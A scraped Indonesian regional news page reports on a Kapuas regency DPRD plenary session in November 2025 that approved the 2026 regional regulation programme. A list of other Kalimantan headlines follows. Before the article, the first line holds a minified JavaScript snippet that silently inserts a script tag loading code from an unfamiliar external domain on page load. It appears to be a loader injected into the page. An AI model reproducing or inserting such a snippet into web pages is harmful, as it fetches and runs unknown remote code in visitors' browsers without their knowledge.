(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Sekda Kapuas Hadiri Rapat Paripurna Propemperda 2026


KANALKALIMANTAN.COM, KUALA KAPUAS – Sekretaris Daerah Kabupaten Kapuas Usis I Sangkai mewakili Bupati Kapuas menghadiri rapat paripurna ke-8 masa persidangan iii tahun sidang 2025, Jumat (21/11/2025) siang

Rapat paripurna dipimpin Wakil Ketua II DPRD Kabupaten Kapuas, Berinto dihadiri para anggota dewan, unsur Forkopimda, serta jajaran kepala perangkat daerah.

Wakil Ketua Berinto menyampaikan agenda utama dalam rapat paripurna ini meliputi penyampaian hasil pembahasan dan fasilitasi atas Perubahan Peraturan DPRD Kabupaten Kapuas Nomor 1 Tahun 2024 tentang Tata Tertib DPRD, disertai penandatanganan dan persetujuan perubahan tersebut.

Baca juga: Upaya Menekan Inflasi Daerah Lewat GPM di Kios Pangan DPKP Kalsel

“Tak hanya itu, Bapemperda juga menyampaikan laporan penyusunan Program Pembentukan Peraturan Daerah (Propemperda) Tahun 2026, yang kemudian disepakati untuk ditetapkan,” ujar Berinto saat memimpin Paripurna.

Sekretaris Daerah (Sekda) Kapuas, Usis I Sangkai membacakan sambutan tertulis Bupati Kapuas menyampaikan bahwa penyusunan Propemperda ini mengacu pada ketentuan Permendagri 80/2015 dan Permendagri 120/2018, dua regulasi penting yang memastikan setiap rancangan peraturan daerah memiliki pijakan hukum jelas dan terarah.

Ia menekankan bahwa prioritas penyusunan regulasi daerah tidak hanya didasarkan pada kewajiban administratif, tetapi juga pada aspirasi masyarakat, rencana pembangunan daerah, dan kebutuhan nyata dalam penyelenggaraan otonomi daerah.

Baca juga: Hari Diabetes Sedunia, Pemkab Kapuas Gelar Jalan Sehat dan Senam Bersama

Sekda Usis mengingat kembali bahwa Propemperda 2026 telah melalui proses pembahasan intens saat rapat pada 18 November 2025.

“Kami menyampaikan terima kasih dan penghargaan setinggi-tingginya kepada DPRD Kapuas dan seluruh tim pemerintah daerah yang telah bekerja bersama menyusun Propemperda Tahun 2026,” ungkap Usis.

Melalui penetapan Propemperda ini, Pemerintah Kabupaten Kapuas berharap dapat memperkuat landasan hukum pembangunan, sekaligus menghadirkan tata kelola pemerintahan yang lebih responsif terhadap kebutuhan masyarakat, sebuah langkah kecil namun penting menuju Kapuas yang lebih maju. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

7 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

10 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

11 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

11 jam ago

Kabupaten Banjar Raih UHC Award Tahun 2026 Kategori Madya

KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More

12 jam ago

Korem 101/Antasari Bagikan 2.500 Sepatu ke Anak Sekolah Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More

12 jam ago

This website uses cookies.